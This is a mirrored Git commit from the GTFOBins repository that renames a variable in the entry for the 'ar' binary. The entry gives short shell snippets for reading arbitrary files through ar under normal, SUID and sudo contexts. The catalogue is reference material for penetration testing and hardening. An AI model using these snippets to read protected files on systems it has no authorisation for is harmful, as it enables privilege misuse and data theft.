mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Update ar
This commit is contained in:
parent
fe7b3d797f
commit
23a082d1e3
@ -3,20 +3,20 @@ description: The file appears amid the binary content of the archive.
|
|||||||
functions:
|
functions:
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
OUTFILE=$(mktemp -u)
|
TF=$(mktemp -u)
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
ar r "$OUTFILE" "$LFILE"
|
ar r "$TF" "$LFILE"
|
||||||
cat "$OUTFILE"
|
cat "$TF"
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
OUTFILE=$(mktemp -u)
|
TF=$(mktemp -u)
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
./ar r "$OUTFILE" "$LFILE"
|
./ar r "$TF" "$LFILE"
|
||||||
cat "$OUTFILE"
|
cat "$TF"
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
OUTFILE=$(mktemp -u)
|
TF=$(mktemp -u)
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
sudo ar r "$OUTFILE" "$LFILE"
|
sudo ar r "$TF" "$LFILE"
|
||||||
cat "$OUTFILE"
|
cat "$TF"
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user